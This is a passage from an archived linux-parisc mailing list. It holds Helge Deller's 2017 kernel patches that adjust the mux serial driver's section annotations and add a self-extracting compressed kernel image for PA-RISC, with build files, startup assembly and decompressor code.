Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753983AbdHUUXW (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 21 Aug 2017 16:23:22 -0400
Original-Received: from mout.gmx.net ([212.227.17.22]:54393 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1753628AbdHUUXW (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 21 Aug 2017 16:23:22 -0400
Original-Received: from p100.fritz.box ([193.159.21.213]) by mail.gmx.com (mrgmx101
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0MPHrQ-1dfVVn1zCy-004UX1; Mon, 21
 Aug 2017 22:23:03 +0200
X-Mailer: git-send-email 2.1.0
In-Reply-To: <1503346981-28024-1-git-send-email-deller@gmx.de>
X-Provags-ID: V03:K0:/fZNhW2IpRBlBKVWATRMI1nPq2qRIidBa55I++6/OruFcgmkyFe
 dcTuxJ6zayMZeDdvs317DJ/MFftWkyruKjruUjKs9Jg3ShAK2we++gESVeD3K/0jmh1+GLu
 mhn5kcyEJmwIFdof/qLjYjFLvZNb8efHYrdXZBSG6OBekVzXRHaLRvz0tBcLemTooRB/oyD
 NGHdRHp9dGJ9+X0ZHgykQ==
X-UI-Out-Filterresults: notjunk:1;V01:K0:WlU2mnKdaW4=:YZoZFLFY42lqwYD+qanb/N
 4YkZfdENmVtIzsp6fzpLQkzY4zJ9eGtQfqJY9xWRRxUnrihMO0qqgqUW8uTCin0eY0A+xu6ml
 upGixkzyHJI9yyc/6HPYBg1hZTDVMvJaeAyC6RK53j5eRJlx/NGvhTdazHs6JAgsBJRdewQq6
 oTdsfA/TXw6zEu1f8ZyYaIfWEneZ3l4dPPckWbxew3N8I7ddM2PX5skHHY8HFqwR8ucEPJtMX
 odYI6GOXyNyZetPodek0FrosQLbohKB8NYPnVg7HllmZBUwtdUFuSoFQsj5/vdj5fUMRqAyKS
 mWIYeYfQuGlL6S3oBkyhZyBO/pc3InBxOmQwejGy82cXN2+Tac8ca1pqVcPSTZyNJRyFMW6kn
 fEPqlFQUc7wJlQlNSxJy43Wi3PJ67YOMakZCrTQgSWj3aX362ZZ8pLH7viUwi778A2h07g855
 MGjTvKf05O6Mvl39z4wILCJsITKoyxuzbKHK0WZSwkhi0Le9z4QvWLbU5NO+rX7mo5Lw+pm06
 e/XfT7Fd7D4aB4PRtfXOLRB8XbKJMnOCqiA4WH0q2fYhEGCeLaxuTlnynrAM9W83eqhW4qB+q
 eNgg4crLyqQhKgTK969DwtsPzq00lRARU0hC6JYPDwt+kDzAKSgfuQPBs+nXdfB1WpkEFK0RI
 PzN2+gyNERa5o1nZBhR259+X0v8vejIubbSV7ZG9AorriqD0p+TLjsEPLY7o94VrNGtCbmbIm
 DH19fdV/On1CNElamVNeNEWQUUCX8OKTHjMhq+jlH3eESMwlzllO/tJfrfKXOtxzfRNWDS+7 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27726
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27726>

Signed-off-by: Helge Deller <deller@gmx.de>
---
 drivers/tty/serial/mux.c | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/drivers/tty/serial/mux.c b/drivers/tty/serial/mux.c
index 8a4be4b..80c8105 100644
--- a/drivers/tty/serial/mux.c
+++ b/drivers/tty/serial/mux.c
@@ -503,7 +503,7 @@ static int __init mux_probe(struct parisc_device *dev)
 	return 0;
 }
 
-static int mux_remove(struct parisc_device *dev)
+static int __exit mux_remove(struct parisc_device *dev)
 {
 	int i, j;
 	int port_count = (long)dev_get_drvdata(&dev->dev);
@@ -536,13 +536,13 @@ static int mux_remove(struct parisc_device *dev)
  * This table only contains the parisc_device_id of known builtin mux
  * devices.  All other mux cards will be detected by the generic mux_tbl.
  */
-static struct parisc_device_id builtin_mux_tbl[] = {
+static struct parisc_device_id builtin_mux_tbl[] __initconst = {
 	{ HPHW_A_DIRECT, HVERSION_REV_ANY_ID, 0x15, 0x0000D }, /* All K-class */
 	{ HPHW_A_DIRECT, HVERSION_REV_ANY_ID, 0x44, 0x0000D }, /* E35, E45, and E55 */
 	{ 0, }
 };
 
-static struct parisc_device_id mux_tbl[] = {
+static struct parisc_device_id mux_tbl[] __initconst = {
 	{ HPHW_A_DIRECT, HVERSION_REV_ANY_ID, HVERSION_ANY_ID, 0x0000D },
 	{ 0, }
 };
@@ -550,18 +550,18 @@ static struct parisc_device_id mux_tbl[] = {
 MODULE_DEVICE_TABLE(parisc, builtin_mux_tbl);
 MODULE_DEVICE_TABLE(parisc, mux_tbl);
 
-static struct parisc_driver builtin_serial_mux_driver = {
+static struct parisc_driver builtin_serial_mux_driver __refdata = {
 	.name =		"builtin_serial_mux",
 	.id_table =	builtin_mux_tbl,
 	.probe =	mux_probe,
-	.remove =       mux_remove,
+	.remove =       __exit_p(mux_remove),
 };
 
-static struct parisc_driver serial_mux_driver = {
+static struct parisc_driver serial_mux_driver __refdata = {
 	.name =		"serial_mux",
 	.id_table =	mux_tbl,
 	.probe =	mux_probe,
-	.remove =       mux_remove,
+	.remove =       __exit_p(mux_remove),
 };
 
 /**
-- 
2.1.0

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH 01/14] parisc: Add support for self-extracting kernel
Date: Mon, 21 Aug 2017 22:22:48 +0200
Lines: 966
Approved: news@gmane.org
Message-ID: <1503346981-28024-2-git-send-email-deller@gmx.de>
References: <1503346981-28024-1-git-send-email-deller@gmx.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1503347005 11144 195.159.176.226 (21 Aug 2017 20:23:25 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 21 Aug 2017 20:23:25 +0000 (UTC)
Cc: John David Anglin <dave.anglin@bell.net>,
        James Bottomley <James.Bottomley@HansenPartnership.com>
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Aug 21 22:23:19 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1djtEE-0000lq-DN
	for glpp-linux-parisc@m.gmane.org; Mon, 21 Aug 2017 22:23:19 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753695AbdHUUXZ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 21 Aug 2017 16:23:25 -0400
Original-Received: from mout.gmx.net ([212.227.17.20]:62927 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1753801AbdHUUXY (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 21 Aug 2017 16:23:24 -0400
Original-Received: from p100.fritz.box ([193.159.21.213]) by mail.gmx.com (mrgmx101
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0Lx4dh-1dULPT3zbd-016fwk; Mon, 21
 Aug 2017 22:23:03 +0200
X-Mailer: git-send-email 2.1.0
In-Reply-To: <1503346981-28024-1-git-send-email-deller@gmx.de>
X-Provags-ID: V03:K0:UzIgF7KLpnBU0IkKyQun3eFfuSdUBRScnA4Iej1sUGQSZLUs3Hg
 M+WpJcKAZRFpRgsGVfPgPExIgf8D2k/MFVDezDI1X/LuyTCFDWumBKL49nK00iaZU9Knmc0
 E3SVSQPKReULribqHSwGrHe49cuRmdGkLJRS6trczbg88LrIOP4dZFpixYENVOAKAQIdMc6
 j/v0jumZt/IMbcC/uZodA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:KxgbuNhOiN8=:2rT6fFuoZ2b0nyGh8b6CTf
 TlV0Rj9WGIKtz8imdlBK9qZ8nf0OXww7Wn/QNNHdffx08QNcSRua5jEfJnYQEA4OSBoneWc5M
 +doMTsiCOKxzRPxZ6CCDHQ2CeHSJb7lJHPBQ0sf23/Ot3X56pSMbQ+4IlG5KFwor9Y61xlamm
 kc+nz05IYfK4Z5biqyUBgZW3DtiLkNMvzEzxmNsm3Q/L8OysGVkedO5IGBHXMiUVCzux534EE
 rjxzXvX3E2ZcjqnPdj1xTdjLA2cdKHWD5o+AVX8jdD0blVOJ/kDh0b9c2F/KPdJfLNifP7Lmk
 TxAgjoyPUXpj4846wgHz3PN/Jwb58uEr4iXl/nadVsOip65lN9lU9mVx02c/gVSkvf+s0Pf6e
 6qmsDd/Fmak5pWdx51j+eXO6OHzsLQIoX+Lj0ENyksdP1EUeXzSUMx/QaAiHw/IcwV4jE4iKW
 EvkZFMS2yDWN937J6Do9U40rMOfB0FsIznhkAKsxdjZbRJ8/COMCy1BGrfAdVqoh1Rjo9WrVE
 SvvIkt0Nhmx2i2i5mhra8rJvUs79/k8S+/IKceQxaqGUyHq9ogtIiT+CjdadS6lLVFak18J8x
 /vDFhRaP4loJ0v1votIU/hUKvh6AX5hzAnP1zMPTxUXIZXDBmOfrF2NvhBWax2iBweLOkQpFL
 nWWVu21f9xuNp1/vYX5y/dQRy875WLIZb1LSXRFjMq3Uf9RL/e1hcE0io/ZSuf+DHgjjdXPSK
 a6FB5KmS/OPwBpNqQMoBqxe+uXoOTILYvD3bOy6LQl8I3a5juP+eVDWvdX2QTRV16AAlR+tk 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27727
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27727>

Signed-off-by: Helge Deller <deller@gmx.de>
---
 arch/parisc/Kconfig                       |   6 +
 arch/parisc/Makefile                      |  16 +-
 arch/parisc/boot/.gitignore               |   2 +
 arch/parisc/boot/Makefile                 |  26 +++
 arch/parisc/boot/compressed/.gitignore    |   3 +
 arch/parisc/boot/compressed/Makefile      |  86 +++++++++
 arch/parisc/boot/compressed/head.S        |  85 +++++++++
 arch/parisc/boot/compressed/misc.c        | 301 ++++++++++++++++++++++++++++++
 arch/parisc/boot/compressed/vmlinux.lds.S | 101 ++++++++++
 arch/parisc/boot/compressed/vmlinux.scr   |  10 +
 arch/parisc/boot/install.sh               |  65 +++++++
 arch/parisc/include/asm/page.h            |   4 +
 arch/parisc/include/asm/pdc.h             |   2 +
 arch/parisc/kernel/firmware.c             |  15 +-
 arch/parisc/kernel/real2.S                |   4 +
 15 files changed, 722 insertions(+), 4 deletions(-)
 create mode 100644 arch/parisc/boot/.gitignore
 create mode 100644 arch/parisc/boot/Makefile
 create mode 100644 arch/parisc/boot/compressed/.gitignore
 create mode 100644 arch/parisc/boot/compressed/Makefile
 create mode 100644 arch/parisc/boot/compressed/head.S
 create mode 100644 arch/parisc/boot/compressed/misc.c
 create mode 100644 arch/parisc/boot/compressed/vmlinux.lds.S
 create mode 100644 arch/parisc/boot/compressed/vmlinux.scr
 create mode 100644 arch/parisc/boot/install.sh

diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
index dda1f55..3109541 100644
--- a/arch/parisc/Kconfig
+++ b/arch/parisc/Kconfig
@@ -17,6 +17,12 @@ config PARISC
 	select BUG
 	select BUILDTIME_EXTABLE_SORT
 	select HAVE_PERF_EVENTS
+	select HAVE_KERNEL_BZIP2
+	select HAVE_KERNEL_GZIP
+	select HAVE_KERNEL_LZ4
+	select HAVE_KERNEL_LZMA
+	select HAVE_KERNEL_LZO
+	select HAVE_KERNEL_XZ
 	select GENERIC_ATOMIC64 if !64BIT
 	select GENERIC_IRQ_PROBE
 	select GENERIC_PCI_IOMAP
diff --git a/arch/parisc/Makefile b/arch/parisc/Makefile
index 75cb451..58fae5d 100644
--- a/arch/parisc/Makefile
+++ b/arch/parisc/Makefile
@@ -24,15 +24,20 @@ KBUILD_DEFCONFIG := default_defconfig
 NM		= sh $(srctree)/arch/parisc/nm
 CHECKFLAGS	+= -D__hppa__=1
 LIBGCC		= $(shell $(CC) $(KBUILD_CFLAGS) -print-libgcc-file-name)
+export LIBGCC
 
 ifdef CONFIG_64BIT
 UTS_MACHINE	:= parisc64
 CHECKFLAGS	+= -D__LP64__=1 -m64
 CC_ARCHES	= hppa64
+LD_BFD		:= elf64-hppa-linux
 else # 32-bit
 CC_ARCHES	= hppa hppa2.0 hppa1.1
+LD_BFD		:= elf32-hppa-linux
 endif
 
+export LD_BFD
+
 ifneq ($(SUBARCH),$(UTS_MACHINE))
 	ifeq ($(CROSS_COMPILE),)
 		CC_SUFFIXES = linux linux-gnu unknown-linux-gnu
@@ -88,6 +93,8 @@ libs-y	+= arch/parisc/lib/ $(LIBGCC)
 
 drivers-$(CONFIG_OPROFILE)		+= arch/parisc/oprofile/
 
+boot	:= arch/parisc/boot
+
 PALO := $(shell if (which palo 2>&1); then : ; \
 	elif [ -x /sbin/palo ]; then echo /sbin/palo; \
 	fi)
@@ -116,11 +123,14 @@ INSTALL_TARGETS = zinstall install
 
 PHONY += bzImage $(BOOT_TARGETS) $(INSTALL_TARGETS)
 
-bzImage zImage: vmlinuz
+zImage: vmlinuz
 Image: vmlinux
 
-vmlinuz: vmlinux
-	@gzip -cf -9 $< > $@
+bzImage: vmlinux
+	$(Q)$(MAKE) $(build)=$(boot) $(boot)/$@
+
+vmlinuz: bzImage
+	$(OBJCOPY) $(boot)/bzImage $@
 
 install:
 	$(CONFIG_SHELL) $(src)/arch/parisc/install.sh \
diff --git a/arch/parisc/boot/.gitignore b/arch/parisc/boot/.gitignore
new file mode 100644
index 0000000..017d591
--- /dev/null
+++ b/arch/parisc/boot/.gitignore
@@ -0,0 +1,2 @@
+image
+bzImage
diff --git a/arch/parisc/boot/Makefile b/arch/parisc/boot/Makefile
new file mode 100644
index 0000000..cad68a5
--- /dev/null
+++ b/arch/parisc/boot/Makefile
@@ -0,0 +1,26 @@
+#
+# Makefile for the linux parisc-specific parts of the boot image creator.
+#
+
+COMPILE_VERSION := __linux_compile_version_id__`hostname |  \
+			tr -c '[0-9A-Za-z]' '_'`__`date | \
+			tr -c '[0-9A-Za-z]' '_'`_t
+
+ccflags-y  := -DCOMPILE_VERSION=$(COMPILE_VERSION) -gstabs -I.
+
+targets := image
+targets += bzImage
+subdir- := compressed
+
+$(obj)/image: vmlinux FORCE
+	$(call if_changed,objcopy)
+
+$(obj)/bzImage: $(obj)/compressed/vmlinux FORCE
+	$(call if_changed,objcopy)
+
+$(obj)/compressed/vmlinux: FORCE
+	$(Q)$(MAKE) $(build)=$(obj)/compressed $@
+
+install: $(CONFIGURE) $(obj)/bzImage
+	sh -x  $(srctree)/$(obj)/install.sh $(KERNELRELEASE) $(obj)/bzImage \
+	      System.map "$(INSTALL_PATH)"
diff --git a/arch/parisc/boot/compressed/.gitignore b/arch/parisc/boot/compressed/.gitignore
new file mode 100644
index 0000000..ae06b9b
--- /dev/null
+++ b/arch/parisc/boot/compressed/.gitignore
@@ -0,0 +1,3 @@
+sizes.h
+vmlinux
+vmlinux.lds
diff --git a/arch/parisc/boot/compressed/Makefile b/arch/parisc/boot/compressed/Makefile
new file mode 100644
index 0000000..5450a11
--- /dev/null
+++ b/arch/parisc/boot/compressed/Makefile
@@ -0,0 +1,86 @@
+#
+# linux/arch/parisc/boot/compressed/Makefile
+#
+# create a compressed self-extracting vmlinux image from the original vmlinux
+#
+
+KCOV_INSTRUMENT := n
+GCOV_PROFILE := n
+UBSAN_SANITIZE := n
+
+targets := vmlinux.lds vmlinux vmlinux.bin vmlinux.bin.gz vmlinux.bin.bz2
+targets += vmlinux.bin.xz vmlinux.bin.lzma vmlinux.bin.lzo vmlinux.bin.lz4
+targets += misc.o piggy.o sizes.h head.o real2.o firmware.o
+
+KBUILD_CFLAGS := -D__KERNEL__ -O2 -DBOOTLOADER
+KBUILD_CFLAGS += -DDISABLE_BRANCH_PROFILING
+KBUILD_CFLAGS += $(cflags-y) -fno-delete-null-pointer-checks
+KBUILD_CFLAGS += -fno-PIE -mno-space-regs -mdisable-fpregs
+ifndef CONFIG_64BIT
+KBUILD_CFLAGS += -mfast-indirect-calls
+endif
+
+OBJECTS += $(obj)/head.o $(obj)/real2.o $(obj)/firmware.o $(obj)/misc.o $(obj)/piggy.o
+
+# LDFLAGS_vmlinux := -X --whole-archive -e startup -T
+LDFLAGS_vmlinux := -X -e startup --as-needed -T
+$(obj)/vmlinux: $(obj)/vmlinux.lds $(OBJECTS) $(LIBGCC)
+	$(call if_changed,ld)
+
+sed-sizes := -e 's/^\([0-9a-fA-F]*\) . \(__bss_start\|_end\|parisc_kernel_start\)$$/\#define SZ\2 0x\1/p'
+
+quiet_cmd_sizes = GEN $@
+      cmd_sizes = $(NM) $< | sed -n $(sed-sizes) > $@
+
+$(obj)/sizes.h: vmlinux
+	$(call if_changed,sizes)
+
+AFLAGS_head.o += -I$(objtree)/$(obj) -DBOOTLOADER
+$(obj)/head.o: $(obj)/sizes.h
+
+CFLAGS_misc.o += -I$(objtree)/$(obj)
+$(obj)/misc.o: $(obj)/sizes.h
+
+$(obj)/firmware.o: $(obj)/firmware.c
+$(obj)/firmware.c: $(srctree)/arch/$(SRCARCH)/kernel/firmware.c
+	$(call cmd,shipped)
+
+AFLAGS_real2.o += -DBOOTLOADER
+$(obj)/real2.o: $(obj)/real2.S
+$(obj)/real2.S: $(srctree)/arch/$(SRCARCH)/kernel/real2.S
+	$(call cmd,shipped)
+
+$(obj)/misc.o: $(obj)/sizes.h
+
+CPPFLAGS_vmlinux.lds += -I$(objtree)/$(obj) -DBOOTLOADER
+$(obj)/vmlinux.lds: $(obj)/sizes.h
+
+OBJCOPYFLAGS_vmlinux.bin := -O binary -R .comment -S
+$(obj)/vmlinux.bin: vmlinux
+	$(call if_changed,objcopy)
+
+vmlinux.bin.all-y := $(obj)/vmlinux.bin
+
+suffix-$(CONFIG_KERNEL_GZIP)  := gz
+suffix-$(CONFIG_KERNEL_BZIP2) := bz2
+suffix-$(CONFIG_KERNEL_LZ4)  := lz4
+suffix-$(CONFIG_KERNEL_LZMA)  := lzma
+suffix-$(CONFIG_KERNEL_LZO)  := lzo
+suffix-$(CONFIG_KERNEL_XZ)  := xz
+
+$(obj)/vmlinux.bin.gz: $(vmlinux.bin.all-y)
+	$(call if_changed,gzip)
+$(obj)/vmlinux.bin.bz2: $(vmlinux.bin.all-y)
+	$(call if_changed,bzip2)
+$(obj)/vmlinux.bin.lz4: $(vmlinux.bin.all-y)
+	$(call if_changed,lz4)
+$(obj)/vmlinux.bin.lzma: $(vmlinux.bin.all-y)
+	$(call if_changed,lzma)
+$(obj)/vmlinux.bin.lzo: $(vmlinux.bin.all-y)
+	$(call if_changed,lzo)
+$(obj)/vmlinux.bin.xz: $(vmlinux.bin.all-y)
+	$(call if_changed,xzkern)
+
+LDFLAGS_piggy.o := -r --format binary --oformat $(LD_BFD) -T
+$(obj)/piggy.o: $(obj)/vmlinux.scr $(obj)/vmlinux.bin.$(suffix-y)
+	$(call if_changed,ld)
diff --git a/arch/parisc/boot/compressed/head.S b/arch/parisc/boot/compressed/head.S
new file mode 100644
index 0000000..5aba20f
--- /dev/null
+++ b/arch/parisc/boot/compressed/head.S
@@ -0,0 +1,85 @@
+/*
+ * Startup glue code to uncompress the kernel
+ *
+ *   (C) 2017 Helge Deller <deller@gmx.de>
+ */
+
+#include <linux/init.h>
+#include <linux/linkage.h>
+#include <asm/asm-offsets.h>
+#include <asm/page.h>
+#include <asm/psw.h>
+#include <asm/pdc.h>
+#include <asm/assembly.h>
+#include "sizes.h"
+
+#define BOOTADDR(x)	(x)
+
+#ifndef CONFIG_64BIT
+	.import	$global$		/* forward declaration */
+#endif /*!CONFIG_64BIT*/
+
+	__HEAD
+
+ENTRY(startup)
+	 .level LEVEL
+
+#define PSW_W_SM	0x200
+#define PSW_W_BIT       36
+
+	;! nuke the W bit, saving original value
+	.level 2.0
+	rsm	PSW_W_SM, %r1
+
+	.level 1.1
+	extrw,u	%r1, PSW_W_BIT-32, 1, %r1
+	copy	%r1, %arg0
+
+	/* Make sure sr4-sr7 are set to zero for the kernel address space */
+	mtsp    %r0,%sr4
+	mtsp    %r0,%sr5
+	mtsp    %r0,%sr6
+	mtsp    %r0,%sr7
+
+	/* Clear BSS */
+
+	.import _bss,data
+	.import _ebss,data
+
+	load32	BOOTADDR(_bss),%r3
+	load32	BOOTADDR(_ebss),%r4
+	ldo	FRAME_SIZE(%r4),%sp	/* stack at end of bss */
+$bss_loop:
+	cmpb,<<,n %r3,%r4,$bss_loop
+	stw,ma	%r0,4(%r3)
+
+	/* Initialize the global data pointer */
+	loadgp
+
+	/* arg0..arg4 were set by palo. */
+	copy	%arg1, %r6		/* command line */
+	copy	%arg2, %r7		/* rd-start */
+	copy	%arg3, %r8		/* rd-end */
+	load32	BOOTADDR(decompress_kernel),%r3
+
+#ifdef CONFIG_64BIT
+	.level LEVEL
+	ssm	PSW_W_SM, %r0		/* set W-bit */
+	depdi	0, 31, 32, %r3
+#endif
+	load32	BOOTADDR(startup_continue), %r2
+	bv,n	0(%r3)
+
+startup_continue:
+#ifdef CONFIG_64BIT
+	.level LEVEL
+	rsm	PSW_W_SM, %r0		/* clear W-bit */
+#endif
+
+	load32	KERNEL_BINARY_TEXT_START, %arg0 /* free mem */
+	copy	%r6, %arg1		/* command line */
+	copy	%r7, %arg2		/* rd-start */
+	copy	%r8, %arg3		/* rd-end */
+
+	bv,n	0(%ret0)
+END(startup)
diff --git a/arch/parisc/boot/compressed/misc.c b/arch/parisc/boot/compressed/misc.c
new file mode 100644
index 0000000..248e232
--- /dev/null
+++ b/arch/parisc/boot/compressed/misc.c
@@ -0,0 +1,301 @@
+/*
+ * Definitions and wrapper functions for kernel decompressor
+ *
+ *   (C) 2017 Helge Deller <deller@gmx.de>
+ */
+
+#include <linux/uaccess.h>
+#include <asm/unaligned.h>
+#include <asm/page.h>
+#include "sizes.h"
+
+/*
+ * gzip declarations
+ */
+#define STATIC static
+
+#undef memmove
+#define memmove memmove
+#define memzero(s, n) memset((s), 0, (n))
+
+#define malloc	malloc_gzip
+#define free	free_gzip
+
+/* Symbols defined by linker scripts */
+extern char input_data[];
+extern int input_len;
+extern __le32 output_len;	/* at unaligned address, little-endian */
+extern char _text, _end;
+extern char _bss, _ebss;
+extern char _startcode_end;
+extern void startup_continue(void *entry, unsigned long cmdline,
+	unsigned long rd_start, unsigned long rd_end) __noreturn;
+
+void error(char *m) __noreturn;
+
+static unsigned long free_mem_ptr;
+static unsigned long free_mem_end_ptr;
+
+#ifdef CONFIG_KERNEL_GZIP
+#include "../../../../lib/decompress_inflate.c"
+#endif
+
+#ifdef CONFIG_KERNEL_BZIP2
+#include "../../../../lib/decompress_bunzip2.c"
+#endif
+
+#ifdef CONFIG_KERNEL_LZ4
+#include "../../../../lib/decompress_unlz4.c"
+#endif
+
+#ifdef CONFIG_KERNEL_LZMA
+#include "../../../../lib/decompress_unlzma.c"
+#endif
+
+#ifdef CONFIG_KERNEL_LZO
+#include "../../../../lib/decompress_unlzo.c"
+#endif
+
+#ifdef CONFIG_KERNEL_XZ
+#include "../../../../lib/decompress_unxz.c"
+#endif
+
+void *memmove(void *dest, const void *src, size_t n)
+{
+	const char *s = src;
+	char *d = dest;
+
+	if (d <= s) {
+		while (n--)
+			*d++ = *s++;
+	} else {
+		d += n;
+		s += n;
+		while (n--)
+			*--d = *--s;
+	}
+	return dest;
+}
+
+void *memset(void *s,int c, size_t count)
+{
+	char *xs = (char *)s;
+
+	while (count--)
+		*xs++ = c;
+	return s;
+}
+
+void *memcpy(void *d, const void *s, size_t len)
+{
+	char *dest = (char *)d;
+	const char *source = (const char *)s;
+
+	while (len--)
+		*dest++ = *source++;
+	return d;
+}
+
+size_t strlen(const char *s)
+{
+        const char *sc;
+
+        for (sc = s; *sc != '\0'; ++sc)
+                /* nothing */;
+        return sc - s;
+}
+
+char *strchr(const char *s, int c)
+{
+	while (*s) {
+		if (*s == (char)c)
+			return (char *)s;
+		++s;
+	}
+	return NULL;
+}
+
+int puts(const char *s)
+{
+    const char *nuline = s;
+
+    while ((nuline = strchr(s, '\n')) != NULL)
+    {
+	if (nuline != s)
+		pdc_iodc_print(s, nuline - s);
+	pdc_iodc_print("\r\n", 2);
+	s = nuline + 1;
+    }
+    if (*s != '\0')
+	pdc_iodc_print(s, strlen(s));
+    return 0;
+}
+
+static int putchar(int c)
+{
+    char buf[2];
+
+    buf[0] = c;
+    buf[1] = '\0';
+    puts(buf);
+    return c;
+}
+
+void __noreturn error(char *x)
+{
+	puts("\n\n");
+	puts(x);
+	puts("\n\n -- System halted");
+	while (1) /* wait forever. */;
+}
+
+static int print_hex(unsigned long num)
+{
+	const char hex[] = "0123456789abcdef";
+	char str[40];
+	int i = sizeof(str)-1;
+
+	str[i--] = '\0';
+	do {
+		str[i--] = hex[num & 0x0f];
+		num >>= 4;
+	} while (num);
+
+	str[i--] = 'x';
+	str[i] = '0';
+	puts(&str[i]);
+
+	return 0;
+}
+
+int printk(const char *fmt, ...)
+{
+	va_list args;
+	int i = 0;
+
+	va_start(args, fmt);
+
+	while (fmt[i]) {
+		if (fmt[i] != '%') {
+put:
+			putchar(fmt[i++]);
+			continue;
+		}
+
+		if (fmt[++i] == '%')
+			goto put;
+		++i;
+		print_hex(va_arg(args, unsigned long));
+	}
+
+	va_end(args);
+	return 0;
+}
+
+/* helper functions for libgcc */
+void abort(void)
+{
+	error("abort() called.");
+}
+
+#undef malloc
+void *malloc(size_t size)
+{
+	return malloc_gzip(size);
+}
+
+#undef free
+void free(void *ptr)
+{
+	return free_gzip(ptr);
+}
+
+
+static void flush_data_cache(char *start, unsigned long length)
+{
+    char *end = start + length;
+
+    do
+    {
+	asm volatile("fdc 0(%0)" : : "r" (start));
+	asm volatile("fic 0(%%sr0,%0)" : : "r" (start));
+	start += 16;
+    } while (start < end);
+    asm volatile("fdc 0(%0)" : : "r" (end));
+
+    asm ("sync");
+}
+
+unsigned long decompress_kernel(unsigned int started_wide,
+		unsigned int command_line,
+		const unsigned int rd_start,
+		const unsigned int rd_end)
+{
+	char *output;
+	unsigned long len, len_all;
+
+#ifdef CONFIG_64BIT
+	parisc_narrow_firmware = 0;
+#endif
+
+	set_firmware_width_unlocked();
+
+	putchar('U');	/* if you get this p and no more, string storage */
+			/* in $GLOBAL$ is wrong or %dp is wrong */
+	puts("ncompressing ...\n");
+
+	output = (char *) KERNEL_BINARY_TEXT_START;
+	len_all = __pa(SZ_end) - __pa(SZparisc_kernel_start);
+
+	if ((unsigned long) &_startcode_end > (unsigned long) output)
+		error("Bootcode overlaps kernel code");
+
+	len = get_unaligned_le32(&output_len);
+	if (len > len_all)
+		error("Output len too big.");
+	else
+		memset(&output[len], 0, len_all - len);
+
+	/*
+	 * Initialize free_mem_ptr and free_mem_end_ptr.
+	 */
+	free_mem_ptr = (unsigned long) &_ebss;
+	free_mem_ptr += 2*1024*1024;	/* leave 2 MB for stack */
+
+	/* Limit memory for bootoader to 1GB */
+	#define ARTIFICIAL_LIMIT (1*1024*1024*1024)
+	free_mem_end_ptr = PAGE0->imm_max_mem;
+	if (free_mem_end_ptr > ARTIFICIAL_LIMIT)
+		free_mem_end_ptr = ARTIFICIAL_LIMIT;
+
+#ifdef CONFIG_BLK_DEV_INITRD
+	/* if we have ramdisk this is at end of memory */
+	if (rd_start && rd_start < free_mem_end_ptr)
+		free_mem_end_ptr = rd_start;
+#endif
+
+#ifdef DEBUG
+	printk("startcode_end = %x\n", &_startcode_end);
+	printk("commandline   = %x\n", command_line);
+	printk("rd_start      = %x\n", rd_start);
+	printk("rd_end        = %x\n", rd_end);
+
+	printk("free_ptr      = %x\n", free_mem_ptr);
+	printk("free_ptr_end  = %x\n", free_mem_end_ptr);
+
+	printk("input_data    = %x\n", input_data);
+	printk("input_len     = %x\n", input_len);
+	printk("output        = %x\n", output);
+	printk("output_len    = %x\n", len);
+	printk("output_max    = %x\n", len_all);
+#endif
+
+	__decompress(input_data, input_len, NULL, NULL,
+			output, 0, NULL, error);
+
+	flush_data_cache(output, len);
+
+	printk("Booting kernel ...\n\n");
+
+	return (unsigned long) output;
+}
diff --git a/arch/parisc/boot/compressed/vmlinux.lds.S b/arch/parisc/boot/compressed/vmlinux.lds.S
new file mode 100644
index 0000000..a4ce331
--- /dev/null
+++ b/arch/parisc/boot/compressed/vmlinux.lds.S
@@ -0,0 +1,101 @@
+#include <asm-generic/vmlinux.lds.h>
+#include <asm/page.h>
+#include "sizes.h"
+
+#ifndef CONFIG_64BIT
+OUTPUT_FORMAT("elf32-hppa-linux")
+OUTPUT_ARCH(hppa)
+#else
+OUTPUT_FORMAT("elf64-hppa-linux")
+OUTPUT_ARCH(hppa:hppa2.0w)
+#endif
+
+ENTRY(startup)
+
+SECTIONS
+{
+	/* palo loads at 0x60000 */
+	/* loaded kernel will move to 0x10000 */
+	. = 0xe0000;    /* should not overwrite palo code */
+
+	.head.text : {
+		_head = . ;
+		HEAD_TEXT
+		_ehead = . ;
+	}
+
+	/* keep __gp below 0x1000000 */
